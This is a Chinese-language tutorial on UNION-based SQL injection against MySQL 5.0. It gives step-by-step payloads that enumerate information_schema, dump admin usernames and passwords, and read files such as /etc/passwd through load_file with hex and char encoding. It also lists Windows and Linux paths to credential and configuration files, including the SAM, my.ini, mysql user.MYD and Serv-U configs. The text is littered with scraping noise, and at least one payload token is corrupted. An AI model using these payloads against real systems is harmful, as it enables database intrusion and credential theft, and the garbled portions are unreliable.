mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。



2 E- J2 k/ K1 ^. O% }Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
! W2 H) b: e. l" T9 {  j+ M: k中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
- P9 v) O4 w5 u3 p7 _8 h明。
4 t  Y3 N1 O! Z' z% q1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名
' m4 c# Z3 B6 C& r/ `
|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
4 Z; h6 {3 f, [1 ?|—字段：TABLE_NAME ->存储所属表的名称

6 e) I: w' a/ b9 N9 U+ I|—字段：COLUMN_NAME ->该字段的名称
& R+ ^) B( I2 M
#########################################################################
, o" i/ _. v3 `, d##

0×001 获取系统信息:

union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
( X7 {6 z! B% r& J0 C
/*

@@global.version_compile_os 获取系统版本
# A% p" q* e! J9 K4 Y
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

*/
6 {" a/ Z* s( f1 s% M
######################################################################

0 l0 _! Y9 z- H5 I' h2 k: ?0×002 获取表名
6 x  P# R( H- A# d3 E% @
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

/*
7 ^5 `2 i: w- W5 z* n
0x67617264656e 为当前数据库名
5 H) f8 |) D* i
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

" [" h: @& t$ l) ?1 `*/
, i+ J2 r" Y4 ?7 O5 S2 b
######################################################################

0×003 获取字段
# V9 a/ u  @6 F
, F7 ^1 v5 w. {1 a5 x: Wunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and

5 N  l( [6 Y( x9 ]% W4 v4 ]
table_schema=0x67617264656e limit 1 /*

/*

: o* }* ]6 a# z% C$ Q- dgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
6 I* W& W5 E* P; k6 Y% q/ h
" v5 `/ z( ]' A* q3 a0x61646d696e ->选择一个表

0x67617264656e ->数据库名
' x$ z9 b& {1 |, m/ k4 T
! k! L3 l6 C) |*/

9 {1 c+ h9 {: K8 y2 G#####################################################################

0×004 获取数据
7 o% q$ N( J, z$ L7 Q3 x2 N4 Q
union select 1,2,3
. D; ~' Y% }  A, P3 U$ @% v; Z3 M2 G,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

6 H& l* n3 u" gunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
0 Y2 l1 p( e/ g* |8 X+ j7 O(adpassword),6,7,8 from admin
$ p7 m* s" g0 t' J% `+ ]0 K# E
/*

0x3c62723e 换行符号HEX编码

! U1 o7 K5 \0 g0 ^group_concat 同时获得该字段所有数据
7 \  h4 L' ~% e
*/
! k7 P% [4 L, Y" K- v; Z* Q$ D
( M' \' _4 R/ z6 ^

3 w3 ]' z" U+ T, ]; ^3 S) f3 `) c
4 ^+ _; `; O6 H3 P: M* x9 l
3 I& [6 ^4 p# i& }# d顺便添加一些mysql注入时非常有用的一些东西

8 S5 q) j/ ^; }' @简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
/ C! [# S; |( ~, [+ w
8 F1 w. W- ~! Y  H3 n7 l, x1:system_user() 系统用户名
6 L, s  ^- I$ K  Z, w- J  _' y; s2:user()        用户名
3:current_user()  当前用户名
$ M/ t4 p+ G! J' l2 j4:session_user()连接数据库的用户名
5:database()    数据库名
. L9 N0 D0 O/ l$ n9 a; k' e6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
/ U' ~3 J9 a) ~7 p# D$ J8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
# a' P8 s5 B# W/ A/ m9 BWINDOWS下:
/ Y3 b& z* y0 |4 z) O2 wc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
! ^8 ^3 f4 B  g8 s1 _1 [2 ]( Z- ]9 Jc:/winnt/my.ini
( [7 R/ e0 Q1 D4 T8 U, w% B1 |c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
% m8 i& k4 U& x0 ]/ ?& ?5 s' xc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
' U; Y) G7 x- ?3 ic:\Program Files\Serv-U\ServUDaemon.ini
& w) J# g; q' m  C: w- Mc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
/ x8 a3 A- Z& bc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
* I% l' k* j% P+ bc:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
7 S5 r9 j& R+ I//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

" o" s9 ]1 I# ]% p+ f$ a' I
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
5 A9 \0 r2 M+ R& U+ G: _( mC:\Program Files\mysql\my.ini
* p  t2 ]* k! w' T/ z7 Xc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
5 R1 g& D9 ?7 ]- q8 q3 m* j
  ?3 p9 V$ Z  P4 {0 P2 mLUNIX/UNIX下:
' D0 n, W+ ]  e( K/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
6 a; Q: ]( p2 a/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
, q/ g" {. t& U% J/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
$ F2 T! P0 F! J, q( E) j/etc/issue.net
3 o! h" w' y% Z+ T/usr/local/app/php5/lib/php.ini //PHP相关设置
. N3 e: d6 Z5 w+ t/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
& ]$ H' b3 c! ]/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
: `' y* r, u9 c3 t& r/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
) G; A3 E/ k% Q# J/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
" `5 g+ f( b* ~  I8 S/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
; d5 o( o* y# j5 q# _& J上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.